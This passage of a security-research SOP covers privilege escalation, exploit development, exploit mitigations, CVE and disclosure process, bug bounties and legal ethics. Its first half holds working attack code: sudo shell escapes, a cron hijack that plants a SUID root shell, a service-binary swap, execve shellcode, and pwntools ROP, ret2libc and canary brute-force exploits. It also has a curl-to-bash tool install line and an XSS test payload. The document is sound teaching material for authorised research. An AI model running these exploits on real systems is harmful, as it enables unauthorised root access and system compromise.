# Authoring weaponised LPE chains is out of scope here — see Reverse-Engineering and
# Detection-Evasion SOPs plus the original write-ups for technique detail.

Sudo misconfigurations:

# Check sudo privileges
sudo -l

# Exploitable patterns:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'

# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# (ALL) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/sh")'

# GTFOBins for sudo escape techniques:
# https://gtfobins.github.io/

Writable /etc/passwd (escalation pattern — neutralised):

# Discovery only — verify mode/owner of the password database:
ls -la /etc/passwd

# Escalation primitive (DO NOT execute on systems you don't own):
# A writable /etc/passwd allows appending a UID-0 row whose hash field is set
# to a value of the operator's choice. Concrete one-liner intentionally omitted.
# See HackTricks → "Linux Privilege Escalation → Writable /etc/passwd".
#
# Defensive guidance is the point of this section: /etc/passwd should be
# 0644 root:root and never world-writable; CIS Benchmarks audit the mode.

Cron job abuse:

# Check for writable cron jobs
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
cat /etc/crontab

# If script run by root is writable
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash' >> /usr/local/bin/backup.sh
echo 'chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh

# Wait for cron to execute
# Then:
/tmp/rootbash -p

Windows Privilege Escalation

Common vectors:

# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Exploitable if path contains spaces:
# C:\Program Files\My Service\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both registry keys are 1, an unprivileged user can install an MSI as SYSTEM.
# Payload generation neutralised — defensive/educational scope. Working syntax:
# HackTricks → "Windows Local Privilege Escalation → AlwaysInstallElevated".
# msfvenom -p windows/x64/<payload> LHOST=<operator IP> LPORT=<port> -f msi -o <name>.msi
# msiexec /quiet /qn /i <name>.msi

# Weak service permissions
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# If service binary is writable, replace with malicious binary
sc stop vulnerable_service
move C:\Path\To\service.exe C:\Path\To\service.exe.bak
copy payload.exe C:\Path\To\service.exe
sc start vulnerable_service

Token impersonation:

# Check for SeImpersonatePrivilege
whoami /priv

# If SeImpersonatePrivilege is held, the *Potato family chains a COM-server
# coercion to NT AUTHORITY\SYSTEM token theft. Concrete invocation neutralised.
# Tool families (defensive context):
#   JuicyPotato (legacy; patched on Win10 1809+ for the original CLSID)
#   RoguePotato / PrintSpoofer / GodPotato / EfsPotato / SweetPotato
# Reference catalogue + current-version guidance: HackTricks → "SeImpersonatePrivilege"
# and itm4n's research blog (itm4n.github.io). [verify 2026-04-26]

Exploit Development

Shellcode Development

Linux x64 execve("/bin/sh") shellcode:

; execve("/bin/sh", NULL, NULL)
global _start
section .text

_start:
    xor rax, rax
    push rax              ; NULL terminator
    mov rbx, 0x68732f6e69622f  ; "/bin/sh" in reverse
    push rbx
    mov rdi, rsp          ; rdi = pointer to "/bin/sh"
    push rax              ; argv[1] = NULL
    push rdi              ; argv[0] = "/bin/sh"
    mov rsi, rsp          ; rsi = argv
    xor rdx, rdx          ; rdx = NULL (envp)
    mov al, 59            ; syscall number for execve
    syscall

Assemble and extract shellcode:

# Assemble
nasm -f elf64 shellcode.asm -o shellcode.o

# Link
ld shellcode.o -o shellcode

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use objcopy
objcopy -O binary shellcode shellcode.bin
xxd -p shellcode.bin | tr -d '\n'

Test shellcode:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

int main() {
    printf("Shellcode length: %lu\n", strlen(shellcode));

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

Compile and run:

# Disable protections for testing
gcc -z execstack -fno-stack-protector -o test_shellcode test_shellcode.c

./test_shellcode
# Should spawn shell

Msfvenom shellcode generation (payload bodies neutralised — defensive/educational scope):

# General form — fill in operator-controlled values from authorized engagement scope:
#   msfvenom -p <platform/arch/payload> LHOST=<operator IP> LPORT=<port> -f <fmt>
#
# Common payload families (look them up via `msfvenom --list payloads | grep <term>`):
#   linux/x64/shell_reverse_tcp    — Linux reverse shell
#   windows/x64/shell_reverse_tcp  — Windows reverse shell
#   linux/x64/shell_bind_tcp       — Linux bind shell
#
# Bad-character avoidance for shellcode embedded in vulnerable parsers:
#   add `-b '\x00\x0a\x0d'` (or whatever bytes the target rejects)
#
# Reference: rapid7.com/db/modules/payload/ + HackTricks "msfvenom Cheatsheet".

ROP (Return-Oriented Programming)

Finding ROP gadgets:

# ROPgadget
ROPgadget --binary ./vulnerable_binary > gadgets.txt

# Search for specific gadgets
ROPgadget --binary ./vulnerable_binary --only "pop|ret"

# Ropper
ropper --file ./vulnerable_binary --search "pop rdi"

# radare2
r2 -A ./vulnerable_binary
> /R pop rdi

Basic ROP chain (call system("/bin/sh")):

from pwn import *

# Binary info
elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# Gadgets
pop_rdi = 0x401234  # pop rdi; ret
bin_sh = 0x402000   # Address of "/bin/sh" string
system_addr = elf.plt['system']

# Build ROP chain
payload = b"A" * offset
payload += p64(pop_rdi)      # pop rdi; ret
payload += p64(bin_sh)       # rdi = "/bin/sh"
payload += p64(system_addr)  # call system

# Send exploit
p = process('./vulnerable_binary')
p.sendline(payload)
p.interactive()

ret2libc attack:

from pwn import *

# Leak libc address
elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# Stage 1: Leak libc address
pop_rdi = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(puts_got)      # puts(puts@GOT) → leak address
payload += p64(puts_plt)
payload += p64(main_addr)     # Return to main

p = process('./vulnerable_binary')
p.sendline(payload)

# Receive leaked address
p.recvuntil(b"Input: ")
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")

# Calculate libc base
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libc.address)}")

# Stage 2: Call system with libc address
bin_sh = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']

payload2 = b"A" * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)

p.sendline(payload2)
p.interactive()

Heap Exploitation Techniques

House of Force:

# Exploit malloc() by corrupting top chunk size
# 1. Overflow into top chunk, set size to -1 (0xffffffffffffffff)
# 2. Calculate offset to target address
# 3. Allocate large chunk to move top chunk to target
# 4. Next allocation writes to target address

Fastbin dup:

# Exploit double-free in fastbins
# 1. Allocate three chunks: A, B, C
# 2. Free A, B, A (double-free A)
# 3. Fastbin: A → B → A (circular)
# 4. Allocate and control A again
# 5. Overwrite fd pointer of A to target address
# 6. Allocate until target is returned

Tcache poisoning:

# Similar to fastbin dup but with tcache
# Tcache has less security checks
# 1. Double-free into tcache
# 2. Overwrite next pointer
# 3. Allocate to get arbitrary write

Exploit Mitigations & Bypasses

Stack Canaries

Detection:

checksec --file=./binary
# Output:
# Canary: Canary found

Bypass techniques:

  1. Information leak: Leak canary value before overwriting
  2. Brute-force: Single-byte brute-force on 64-bit (256 attempts)
  3. Fork without re-randomization: Some daemons don't regenerate canary

Brute-force example:

from pwn import *

canary = b''

# Brute-force one byte at a time
for i in range(8):
    for byte_val in range(256):
        p = process('./vulnerable_binary')

        payload = b"A" * offset
        payload += canary + bytes([byte_val])

        p.sendline(payload)
        response = p.recvall()

        if b"stack smashing detected" not in response:
            canary += bytes([byte_val])
            log.info(f"Canary byte {i}: {hex(byte_val)}")
            break

        p.close()

log.success(f"Full canary: {canary.hex()}")

DEP/NX (Data Execution Prevention)

Detection:

checksec --file=./binary
# Output:
# NX: NX enabled

Bypass: Use ROP (Return-Oriented Programming) - execute existing code instead of injecting shellcode.

ASLR (Address Space Layout Randomization)

Check if enabled:

# Linux
cat /proc/sys/kernel/randomize_va_space
# 0 = Disabled
# 1 = Partial (stack/heap/libraries)
# 2 = Full (includes PIE)

Bypass techniques:

  1. Information leak: Leak address to calculate base
  2. Brute-force: On 32-bit systems (limited entropy)
  3. Partial overwrite: Overwrite only lower bytes (address space reuse)

Information leak bypass:

# Leak stack/libc address
# Then calculate base and build exploit

PIE (Position Independent Executable)

Detection:

checksec --file=./binary
# Output:
# PIE: PIE enabled

Bypass: Leak binary address to calculate base, similar to ASLR bypass.

RELRO (Relocation Read-Only)

Types:

  • Partial RELRO: GOT is writable
  • Full RELRO: GOT is read-only after initialization

Detection:

checksec --file=./binary
# Output:
# RELRO: Full RELRO

Partial RELRO bypass: Overwrite GOT entries to redirect execution.

Full RELRO: Must find alternative targets (vtables, function pointers).

Control Flow Integrity (CFI)

LLVM CFI (-fsanitize=cfi), Microsoft CFG/XFG, and kernel CFI (kCFI in Linux ≥ 6.1) constrain indirect calls to type-matching targets.

Bypass techniques:

  • Find valid CFI targets that can be abused (signature-compatible gadgets).
  • Exploit data-only attacks (no control flow hijacking needed) — corrupt sensitive variables, file paths, credentials.
  • ROP/JOP within valid targets (whitelisted in coarse-grained CFI policies).
  • Type-confusion to upgrade an indirect call into a different but signature-compatible target.

Modern Hardware Mitigations (x86_64 + ARM64)

The mitigation landscape has shifted in 2023–2026 from purely software-enforced controls to hardware-assisted ones. Track support per target before assuming a bypass is needed.

Intel CET (Control-flow Enforcement Technology) — Tiger Lake (2020) and later. Enabled by default in distros shipping glibc 2.34+, Linux 6.6+ (user-space Shadow Stack), Windows 10/11 (Hardware-enforced Stack Protection):

  • Shadow Stack (SHSTK) — separate stack tracks return addresses; mismatch on ret raises a #CP fault. Defeats classical ROP. Bypasses require corrupting both stacks (rare without separate primitive) or finding non-shadow-stack code paths (signal handlers, alt-stacks).
  • Indirect Branch Tracking (IBT) — every legal indirect call/jump target must begin with ENDBR64/ENDBR32. Defeats classical JOP/COP. Bypasses: pivot through valid ENDBR targets, attack pre-ENDBR sequences in unprotected libraries, exploit kernels/binaries built without -fcf-protection.
  • Detection: readelf -n ./binary | grep -i cet, /proc/<pid>/status flags, or cat /proc/cpuinfo | grep -E 'shstk|ibt'.

ARM Pointer Authentication (PAC) — ARMv8.3-A. Default on Apple Silicon (M1+) and arm64e iOS binaries; enabled in Linux on supported kernels (≥ 5.0). Signs pointers with a tweak + key; corrupting a signed pointer raises a fault on use. Bypasses: signing-oracle gadgets, key-reuse across contexts, downgrade to non-PAC code paths, type-confusion that swaps signed/unsigned pointers.

ARM Branch Target Identification (BTI) — ARMv8.5-A. Equivalent to IBT: indirect branches must land on BTI instructions. Linux mainline support since 5.8.

ARM Memory Tagging Extension (MTE) — ARMv8.5-A. Tags 16-byte granules with a 4-bit color; loads/stores must match the pointer's tag. Catches linear overflows, UAF, double-free probabilistically (1/16 = 6.25% miss rate per access). Deployed on Pixel 8/9 (synchronous mode opt-in, asynchronous in production [verify 2026-04-25]); kernel MTE (KASAN_HW_TAGS) shipped in Android. Bypasses: tag confusion across colors, type-confusion, large oob spanning many granules.

Linux kernel mitigations to check:

# kCFI (Clang Control Flow Integrity, kernel)
grep CONFIG_CFI_CLANG /boot/config-$(uname -r)

# Stack Protector strong, FORTIFY_SOURCE=3 (since glibc 2.34 / kernel 5.18)
grep -E 'CONFIG_STACKPROTECTOR_STRONG|CONFIG_FORTIFY_SOURCE' /boot/config-$(uname -r)

# SLAB freelist hardening, randomization
grep -E 'CONFIG_SLAB_FREELIST_HARDENED|CONFIG_SLAB_FREELIST_RANDOM' /boot/config-$(uname -r)

# kASLR / KPTI / SMEP / SMAP / KMSAN
grep -E 'CONFIG_RANDOMIZE_BASE|CONFIG_PAGE_TABLE_ISOLATION|CONFIG_X86_SMAP|CONFIG_KMSAN' /boot/config-$(uname -r)

Status table (rough):

Mitigation Available since Default on Bypass cost
Stack Canary GCC 4.1 / glibc Most distros Leak required
NX/DEP 2004 (hw), 2006 (sw) Universal ROP / ret2libc
ASLR Linux 2.6.12 (2005) Universal Info leak
PIE GCC 3.4 Distros 2017+ Info leak
Full RELRO binutils 2.18 Distros 2016+ Alt targets (vtables, fn ptrs)
Intel CET (SHSTK+IBT) Tiger Lake (2020) Distros 2023+ Shadow-stack corruption / non-CET libs
ARM PAC ARMv8.3 (2017) Apple Silicon, recent Android Signing oracle / key reuse
ARM BTI ARMv8.5 (2018) Pixel 8+, recent Android Pivot through BTI targets
ARM MTE ARMv8.5 (2018) Pixel 8+ (async) Tag confusion
LLVM kCFI Linux 6.1 (2022) Android, ChromeOS Signature-compatible call sites

CVE Process & Disclosure

CVE Request Process

1. Determine if vulnerability deserves CVE:

  • Affects security
  • Affects multiple users
  • Not already assigned CVE
  • Fixed or in process of being fixed

2. Request CVE from a CNA (CVE Numbering Authority):

CNAs scope their authority by product/vendor. Use the official lookup at https://www.cve.org/PartnerInformation/ListofPartners to find the CNA covering your target before contacting MITRE — many vendors are CNAs for their own products (Microsoft MSRC, Apple, Google, Red Hat, Cisco, GitHub, HackerOne, Bugcrowd, Synacktiv, etc.). Falling back to the MITRE root CNA only applies if no scoped CNA exists.

The CVE Program migrated to CVE Record JSON 5.x in 2023 (current minor version 5.1 [verify 2026-04-25]); records published since carry richer affected-product, references, and CVSS metric blocks. Submissions through CNA portals or the CVE Services API (https://cveawg.mitre.org/api-docs/) populate this schema directly.

MITRE root CNA (residual / unscoped products):

Web form: https://cveform.mitre.org/
Email:    cve-request@mitre.org   (use the form when possible)

Subject: CVE Request - [Product Name] [Vulnerability Type]

Body:
Product: [Name and version]
Vendor: [Vendor name]
Vulnerability Type: [Buffer overflow, XSS, etc.]
Attack Vector: [Remote, local, etc.]
Impact: [Code execution, DoS, info disclosure]
Affected Versions: [Specific versions]
Fixed Version: [Version with fix]

Description:
[Detailed technical description]

Proof of Concept:
[Minimal PoC to demonstrate]

Disclosure Timeline:
Reported to vendor: YYYY-MM-DD
Vendor response: YYYY-MM-DD
Fix available: YYYY-MM-DD

GitHub Security Advisories (for GitHub projects):

  1. Navigate to repository → Security → Advisories
  2. Click "New draft security advisory"
  3. Fill in details (affected versions, severity, description)
  4. Request CVE automatically

3. Receive CVE ID:

  • Format: CVE-YYYY-NNNNN (e.g., CVE-2024-12345)
  • Reserved before public disclosure
  • Published after disclosure

4. CVSS Scoring:

FIRST publishes two active versions of CVSS:

Many CNAs and the NVD have begun dual-publishing v3.1 and v4.0 vectors. Score in the most recent version your CNA accepts; keep v3.1 alongside for downstream consumers that haven't migrated. [verify 2026-04-25]

Example v3.1 scoring:

  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality: High (C:H)
  • Integrity: High (I:H)
  • Availability: High (A:H)

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical 9.8)

5. CISA KEV / EPSS context:

  • CISA Known Exploited Vulnerabilities (KEV) — https://www.cisa.gov/known-exploited-vulnerabilities-catalog. CVEs added to KEV carry a US Federal civilian executive-branch remediation deadline (BOD 22-01); inclusion is the strongest available signal of in-the-wild exploitation. Worth flagging in the advisory if your CVE meets KEV criteria.
  • EPSS (Exploit Prediction Scoring System) — https://www.first.org/epss/. Probabilistic 0–1 score for likelihood of exploitation in the next 30 days. Useful in remediation prioritisation conversations with the vendor / downstream operators.

Responsible Disclosure Timeline

Standard 90-day disclosure:

Day 0:   Discover vulnerability
Day 1-3: Verify and create PoC
Day 5:   Report to vendor (encrypted email preferred)
Day 7:   Vendor acknowledges receipt
Day 30:  Vendor provides fix timeline
Day 60:  Vendor releases patch (if ready)
Day 90:  Public disclosure (coordinated)

Accelerated disclosure (active exploitation):

Day 0:  Discover 0-day being exploited in wild
Day 1:  Immediate notification to vendor
Day 7:  Public disclosure if no patch
        (users need to protect themselves)

Writing Security Advisories

Advisory template:

# Security Advisory: [Product] [Vulnerability Type]

## Summary
[One-paragraph description of vulnerability and impact]

## CVE ID
CVE-YYYY-NNNNN

## Severity
Critical / High / Medium / Low (CVSS X.X)

## Affected Versions
- Product X.X.X through X.X.X

## Fixed Versions
- Product X.X.X and later

## Vulnerability Details
[Technical description of vulnerability]

### Vulnerability Type
[Buffer overflow, SQL injection, etc.]

### Attack Vector
[Remote/Local, network/adjacent/local]

### Attack Complexity
[Low/High - prerequisites for exploitation]

## Proof of Concept
[Minimal code to demonstrate vulnerability]

## Impact
- Remote code execution
- Authentication bypass
- Information disclosure
- Denial of service

## Mitigation
1. Upgrade to version X.X.X or later
2. If upgrade not possible:
   - Apply workaround: [description]
   - Disable feature: [description]

## Timeline
- YYYY-MM-DD: Vulnerability discovered
- YYYY-MM-DD: Reported to vendor
- YYYY-MM-DD: Vendor confirmed issue
- YYYY-MM-DD: CVE assigned
- YYYY-MM-DD: Patch released
- YYYY-MM-DD: Public disclosure

## Credits
Discovered by: [Your Name / Organization]

## References
- [Link to vendor advisory]
- [Link to patch]
- [Link to CVE entry]

Bug Bounty Programs

Top Bug Bounty Platforms

Platform Focus Website
HackerOne General https://www.hackerone.com/
Bugcrowd General https://www.bugcrowd.com/
Synack Private programs https://www.synack.com/
Intigriti European companies https://www.intigriti.com/
YesWeHack European companies https://www.yeswehack.com/
Google VRP Google products https://bughunters.google.com/
Microsoft MSRC Microsoft products https://www.microsoft.com/en-us/msrc/bounty

Bug Bounty Best Practices

1. Read the scope carefully:

✅ In Scope:
- *.example.com
- mobile.example.com
- api.example.com

❌ Out of Scope:
- test.example.com
- blog.example.com (third-party)
- Physical security testing
- Social engineering

2. Understand severity ratings:

Critical ($$$$$):
- Remote code execution
- Authentication bypass
- SQL injection with data access
- SSRF with cloud metadata access

High ($$$$):
- Stored XSS
- Privilege escalation
- IDOR with PII access

Medium ($$$):
- Reflected XSS
- CSRF on sensitive actions

Low ($$):
- Self-XSS
- Clickjacking without impact

3. Write quality reports:

Good report structure:

## Summary
[One sentence describing vulnerability and impact]

## Description
[Detailed explanation of what the vulnerability is]

## Steps to Reproduce
1. Navigate to https://example.com/vulnerable-page
2. Enter payload in input field: <script>alert(1)</script>
3. Submit form
4. Observe XSS execution

## Proof of Concept
[Screenshot/video demonstrating vulnerability]

[Code snippet if applicable]

## Impact
An attacker can:
- Steal user session cookies
- Perform actions as victim user
- Deface the website

## Remediation
1. Sanitize user input before displaying
2. Implement Content-Security-Policy header
3. Use httpOnly and secure flags on cookies

## Supporting Material
- Browser: Chrome 120.0.6099.109
- Operating System: Ubuntu 22.04
- Video: [link to PoC video]

4. Automation for efficiency:

# Subdomain enumeration
subfinder -d target.com | httpx | nuclei

# Automated scanning
nuclei -l targets.txt -t ~/nuclei-templates/

# Continuous monitoring
while true; do
    subfinder -d target.com | httpx -silent | \
    nuclei -silent -t ~/nuclei-templates/cves/ | \
    notify -silent
    sleep 3600
done

Common Bounty Mistakes to Avoid

❌ Don't:

  • Test out-of-scope assets
  • Perform denial-of-service attacks
  • Access other users' data (beyond PoC)
  • Spam duplicate reports
  • Demand specific bounty amounts
  • Share vulnerability publicly before resolution

✅ Do:

  • Follow scope and rules
  • Provide clear reproduction steps
  • Include impact analysis
  • Be professional and patient
  • Help vendor understand and fix issue

0-Day Research Ethics

Responsible 0-Day Research

Ethical guidelines:

  1. Discovery: Finding unknown vulnerabilities is legitimate security research
  2. Disclosure: Report to vendor for patching before public disclosure
  3. No harm: Don't exploit vulnerability against real users
  4. No sale: Don't sell 0-days to malicious actors
  5. Protect users: Prioritize user safety over researcher fame

Unethical practices:

  • ❌ Selling 0-days to offensive contractors without disclosure to vendor
  • ❌ Exploiting 0-days for financial gain
  • ❌ Releasing 0-days publicly without vendor notification
  • ❌ Threatening vendors for payment

Gray areas (debatable):

  • ⚠️ Coordinating with government agencies for defensive purposes
  • ⚠️ Disclosing after vendor ignores repeated reports (last resort)
  • ⚠️ Participating in government offensive programs (legal but controversial)

0-Day Market Economics

Legitimate acquisition:

  • Vendors: Purchase to fix their own products
  • Governments: Offensive/defensive cyber capabilities (controversial)
  • Bug bounties: Ethical acquisition with public disclosure

Illegitimate market:

  • Criminal groups purchasing for financial cybercrime
  • State-sponsored APTs for espionage/warfare
  • Zero-day brokers selling to highest bidder

Pricing (rough order-of-magnitude, public broker payouts as of 2024–2025):

  • Mobile (iOS/Android) full-chain RCE+LPE+persistence: high six- to low seven-figure USD; Zerodium and Crowdfense have published tier ranges in this band. [verify 2026-04-25]
  • Browser RCE (Chrome / Safari / Firefox) with sandbox escape: low- to mid-six-figure USD.
  • Windows / macOS / Linux LPE: tens to low hundreds of thousands USD.
  • Server-side enterprise app RCE: thousands to tens of thousands USD on bug bounty; higher on grey market.

Numbers move quickly with vendor-side hardening, geopolitics, and broker portfolio composition. Treat any specific figure as anecdotal unless sourced from a current public broker price list.

Note: Bug bounties typically pay far less than the grey market, but are legal, scope-bounded, and disclosure-positive. See [[sop-bug-bounty|Bug Bounty Hunting]] for program selection, scope reading, and report quality guidance.

Tools Reference

Essential Tools

Tool Purpose Installation
GDB + GEF Debugging bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
pwntools Exploit development pip install pwntools
AFL++ Fuzzing sudo apt install afl++
radare2 Binary analysis sudo apt install radare2
Ghidra Reverse engineering https://ghidra-sre.org/
IDA Pro Disassembler https://hex-rays.com/ida-pro/
Binary Ninja Binary analysis https://binary.ninja/
checksec Security check sudo apt install checksec

Fuzzing Tools

Tool Type Website
AFL++ Coverage-guided https://github.com/AFLplusplus/AFLplusplus
LibFuzzer Coverage-guided https://llvm.org/docs/LibFuzzer.html
Honggfuzz Feedback-driven https://github.com/google/honggfuzz
Radamsa Mutation-based https://gitlab.com/akihe/radamsa
Boofuzz Network protocol https://github.com/jtpereyda/boofuzz

Sanitizers (Debugging)

# AddressSanitizer (detect memory errors)
gcc -fsanitize=address -g program.c -o program

# UndefinedBehaviorSanitizer (detect undefined behavior)
gcc -fsanitize=undefined -g program.c -o program

# MemorySanitizer (detect uninitialized reads)
clang -fsanitize=memory -g program.c -o program

# ThreadSanitizer (detect race conditions)
gcc -fsanitize=thread -g program.c -o program

Common Pitfalls & Risks

Methodology / discipline:

  • ❌ Fuzzing without sanitizers — silent corruptions become low-signal hangs instead of triagable crashes. Always pair with ASan/UBSan at minimum (MSan/TSan/HWASan when relevant).
  • ❌ Treating crashes as bugs without exploitability triage — many crashes are non-exploitable; spend time on the ones with corruption primitives.
  • ❌ Single-fuzzer / single-seed campaigns — run AFL++ in -M/-S ensembles, mix dictionaries, rotate seeds, and feed minimised corpora into the next campaign.
  • ❌ Ignoring code coverage — without coverage the fuzzer is wandering. Inspect afl-cov / llvm-cov output and write harnesses to push past plateaus.
  • ❌ Persistent-mode harnesses with global state — re-entering a target that mutates globals produces ghost crashes that do not reproduce outside the harness.

Operational / OPSEC:

  • ❌ Running PoCs against shared, third-party, or production endpoints without written authorization.
  • ❌ Storing sample crashes in cloud-synced folders — exfiltrates target data and possibly proprietary code.
  • ❌ Reusing exploit infrastructure (callback IPs, payloads) across unrelated engagements — see [[sop-opsec-plan|OPSEC]].
  • ❌ Posting searchsploit output, raw crash dumps, or screenshots to public Discord/Slack/X before disclosure closes.

Disclosure / process:

  • ❌ Sending unsolicited PoCs over plaintext email — use vendor PGP key, Signal, or platform-managed inbox.
  • ❌ Demanding a specific bounty amount or threatening public release for payment (extortion territory; voids most safe-harbor language).
  • ❌ Filing a CVE before the vendor confirms — re-issuance and rejections create noise in the ecosystem.
  • ❌ Disclosing publicly without consulting the vendor's coordinated-disclosure window when the bug is in CISA KEV-eligible territory.

Legal:

  • ❌ Assuming bug-bounty scope covers all subsidiaries / acquisitions — explicit list only.
  • ❌ Reverse-engineering or distributing PoCs that bundle copyrighted vendor binaries (DMCA §1201 / EU Copyright Directive Article 6 still apply, even with security-research carveouts).
  • ❌ Crossing borders with unencrypted exploit research material.

Legal & Ethical Considerations

Canonical jurisdictional framework lives in [[sop-legal-ethics|Legal & Ethics]]. The summary below is operational guidance only; do not substitute it for the cross-referenced source.

Legal Framework (summary — see [[sop-legal-ethics|sop-legal-ethics]] for detail)

United States:

  • Computer Fraud and Abuse Act (CFAA) — 18 U.S.C. § 1030. The 2022 DOJ charging policy explicitly excludes good-faith security research from prosecution priorities, but the statute itself is unchanged.
  • DMCA §1201 — anti-circumvention. The Library of Congress's triennial security-research exemption (most recent renewal 2024 [verify 2026-04-25]) covers good-faith research on lawfully-acquired devices.

European Union:

  • Cybercrime Directive — Directive 2013/40/EU.
  • GDPR — data protection during research; minimise and avoid personal data wherever possible.
  • CRA (Cyber Resilience Act) — entered into force 2024, with main obligations applying from 2027; introduces vendor disclosure duties relevant to coordinated disclosure timelines. [verify 2026-04-25]

United Kingdom:

  • Computer Misuse Act 1990 — unauthorized access (s.1), unauthorized modification (s.3), causing or risking serious damage (s.3ZA). Reform consultation ongoing as of 2024–2025; statute unchanged in core. [verify 2026-04-25]

Safe Harbor (Legal Protection)

Many programs include safe harbor language:

"We will not pursue legal action against researchers who:
- Make good faith effort to avoid privacy violations
- Only access data necessary for vulnerability demonstration
- Do not perform attacks that degrade service quality
- Report vulnerabilities promptly
- Keep vulnerability information confidential until fix is available"

Verify safe-harbor coverage before testing — disclose.io (https://disclose.io/) maintains a model VDP and a directory of programs that have adopted compatible safe-harbor terms.

Ethical Research Checklist

Before testing:

  • Written authorization (scope, rules of engagement)
  • Understand legal boundaries (relevant statute(s) per jurisdiction)
  • Appropriate insurance (if applicable, especially for commercial pentest work)
  • Emergency contact for responsible disclosure

During research:

  • Only test authorized systems
  • Minimize impact (no DoS, don't access unnecessary data)
  • Document findings thoroughly
  • Protect sensitive data discovered

After discovery:

  • Report vulnerability to vendor promptly
  • Provide reasonable time for vendor to fix (90 days standard)
  • Don't publicly disclose until fix is available
  • Request CVE for tracking

Appendix: Vulnerability Classification

CWE (Common Weakness Enumeration)

CWE ID Name Category
CWE-119 Buffer Overflow Memory Corruption
CWE-79 Cross-Site Scripting Injection
CWE-89 SQL Injection Injection
CWE-416 Use After Free Memory Corruption
CWE-787 Out-of-bounds Write Memory Corruption
CWE-20 Improper Input Validation Input Validation
CWE-125 Out-of-bounds Read Information Disclosure
CWE-78 OS Command Injection Injection
CWE-190 Integer Overflow Numeric Errors
CWE-862 Missing Authorization Access Control
CWE-1284 Improper Validation of Specified Quantity in Input Input Validation
CWE-352 Cross-Site Request Forgery Web

The annual CWE Top 25 Most Dangerous Software Weaknesses (https://cwe.mitre.org/top25/) is the standard reference for current CWE prevalence — re-pull each year when scoring.

OWASP Top 10 Mapping

OWASP Top 10:2025 is the current published edition (see owasp.org/Top10/2025/). Both ID sets are tracked below because most security-tool findings (sqlmap, Nuclei, Burp, etc.) still emit 2021 IDs — confirm reporting alignment per engagement.

2025 ID 2021 ID Category Related CWEs
A01:2025 A01:2021 Broken Access Control CWE-22, CWE-284, CWE-639
A02:2025 A05:2021 Security Misconfiguration CWE-16, CWE-611
A03:2025 (new) Software Supply Chain Failures CWE-1035, CWE-1104, CWE-829, CWE-494
A04:2025 A02:2021 Cryptographic Failures CWE-259, CWE-327, CWE-916
A05:2025 A03:2021 Injection CWE-79, CWE-89, CWE-94
A06:2025 A04:2021 Insecure Design CWE-209, CWE-256, CWE-501
A07:2025 A07:2021 Authentication Failures CWE-287, CWE-384
A08:2025 A08:2021 Software or Data Integrity Failures CWE-502, CWE-829
A09:2025 A09:2021 Security Logging and Alerting Failures CWE-117, CWE-223
A10:2025 (new) Mishandling of Exceptional Conditions CWE-755, CWE-248
(dropped) A10:2021 Server-Side Request Forgery CWE-918

Notable 2021 → 2025 changes: Security Misconfiguration jumped A05 → A02; A06:2021 Vulnerable Components broadened into A03:2025 Software Supply Chain Failures (covering build pipelines, package registries, and signed artefacts in addition to outdated libs); SSRF (A10:2021) dropped from the Top 10 (methodology still relevant — see web-application-security SOP); A10:2025 Mishandling of Exceptional Conditions is new (covers error-handling logic flaws).

Related SOPs

Analysis:

  • [[../Analysis/sop-reverse-engineering|Reverse Engineering]] - Binary vulnerability analysis and exploit development
  • [[../Analysis/sop-cryptography-analysis|Cryptography Analysis]] - Cryptographic vulnerability research
  • [[../Analysis/sop-malware-analysis|Malware Analysis]] - Analyzing vulnerability exploitation in malware
  • [[../Analysis/sop-forensics-investigation|Forensics Investigation]] - Memory and binary artifact analysis

Pentesting & Security:

  • [[sop-linux-pentest|Linux Pentesting]] - Linux vulnerability exploitation
  • [[sop-ad-pentest|Active Directory Pentesting]] - Windows and AD vulnerability research
  • [[sop-web-application-security|Web Application Security]] - Web vulnerability identification
  • [[sop-mobile-security|Mobile Security]] - Mobile platform vulnerability research
  • [[sop-firmware-reverse-engineering|Firmware Reverse Engineering]] - Embedded device vulnerability research
  • [[sop-bug-bounty|Bug Bounty Hunting]] - Responsible vulnerability disclosure
  • [[sop-detection-evasion-testing|Detection Evasion Testing]] - Testing exploit detection capabilities

Cross-cutting:

  • [[sop-legal-ethics|Legal & Ethics]] - Canonical legal framework for research
  • [[sop-opsec-plan|OPSEC Plan]] - Researcher infrastructure and artifact hygiene
